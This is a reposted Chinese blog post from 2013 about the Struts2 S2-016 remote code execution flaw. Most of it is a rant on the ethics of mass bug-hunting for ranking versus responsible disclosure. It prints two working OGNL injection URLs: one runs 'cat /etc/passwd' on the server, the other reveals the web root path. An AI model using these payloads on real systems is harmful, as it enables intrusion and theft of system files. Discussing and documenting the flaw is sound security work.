当前位置:首页 > 未分类 > 正文

膜拜各位黑阔大牛~小弟小白,啥都不会啥都不懂。要密码的私密就可以了,勿社!谢谢合作!

2013.7.17之struts2那点事儿【转载】

写文章先吐槽一句:一不懂java,二不懂linux,玩毛的struts2?

在写这本博文之前就做好了被喷的准备,不过没啥。因为我相信,这文章,也是很多人想说的。

========== 吐槽文 =========

Author:blackeagle

From:HUC //cnhonker.com | 网络尖刀 //mcbang.com

Blog:www.blackeagle.name

技术支持:苦逼司马

====== 欢迎各种媒体转载 ======

今早打开QQ空间看到空虚浪子心大牛推荐他的struts2修补方案,就预感到struts2框架又出问题了。

随即看了看乌云社区,果然:

http://zone.wooyun.org/content/5159

 

简述:这是一个通过action参数运行java代码远程执行命令漏洞

影响范围:通杀Struts2(Struts 2.0.0 – Struts 2.3.15)

解决办法:update(官方有推荐,不过笔者更推荐空虚浪子心的方案。)

漏洞说明:(来自google翻译)

Struts 2的DefaultActionMapper的支持短路导航状态变化的方法前缀参数与“行动”或“重定向”,随后由所需的航行目标的表达。该机制旨在帮助附加导航信息的按钮在表单。

2.3.15.1之前在Struts2中的信息后,“行动”,“重定向”或“redirectAction:”没有正确地过滤。由于上述信息将被评为OGNL表达对值栈,这引入的服务器端代码注入的可能性。

 

以下两个poc来自apache官方:

http://struts.apache.org/release/2.3.x/docs/s2-016.html

http://struts.apache.org/release/2.3.x/docs/s2-017.html

再加上:

http://www.securityfocus.com/bid/61189/exploit

就感觉exp就出来了

rush一下,果然:

Struts2 s-016 Working EXP:

http://www.xxx.com/x.action?redirect:${%23a%3d(newjava.lang.ProcessBuilder(newjava.lang.String[]{‘cat’,'/etc/passwd’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnewjava.io.BufferedReader(%23c),%23e%3dnewchar[50000],

%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),

%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

cat physical path EXP:

http://www.xxx.com/x.action?redirect:${#req=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),#a=#req.getSession(),

#b=#a.getServletContext(),#c=#b.getRealPath(“/”),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.

HttpServletResponse’),#matt.getWriter().println(#c),#matt.getWriter().flush(),#matt.getWriter().close()}

 

后来就各种工具都有了:

随后引用苦逼司马测试msn的截图:

事情大概就是这样,结果据说今天wooyun被刷了上千个struts2命令执行的洞…

 

笔者说想的是:

1、玩漏洞的:自重吧。还是那句话:一不懂java,二不懂linux,玩毛的struts2?

2、刷乌云rank的:自重吧。刷一两个、两三个,过过瘾就可以了(不隐瞒 笔者今天也挖了两个)。做事嘛,适可而止即可。学学园长,在乌云社区发的图可以看出都是在自己搭建的环境下测试的,笔者特意看了一下提交的漏洞,却没有一 个都没有提交。还有写工具的人。这些精神才是值得众多大批量提交此漏洞的白帽子学习的。

3、厂商:今天在道哥在黑板报也说了,开的7个会也是针对这个问题的应急处理。笔者觉得,厂商在得知struts2框架漏洞之后应及时发布公告及做升级工作,从而减少在乌云被白帽子刷rank。

此事之后反应出四种人:

1、笨的人说:大家快去乌云刷rank啊…刷rank!

2、一般的人:刷毛rank啊,SB白帽子,看我拿shell,放后门。

3、“聪明”的人(包括黑产牛等等):搞那些做甚?!脱库脱库!有钱才是王道!

4、而真正的白帽子:默默的主动联系厂商或私密联系相关人员,告知漏洞存在,及时协助修复漏洞,捍卫网络。

 

此文仅作娱乐,只针对事不针对任何人。现实就是这样,笔者我也是说说大家的心声罢了。

事情就是这样的。喵~

 

 

转自 黑鹰的博客

原文链接:http://www.blackeagle.name/archives/1343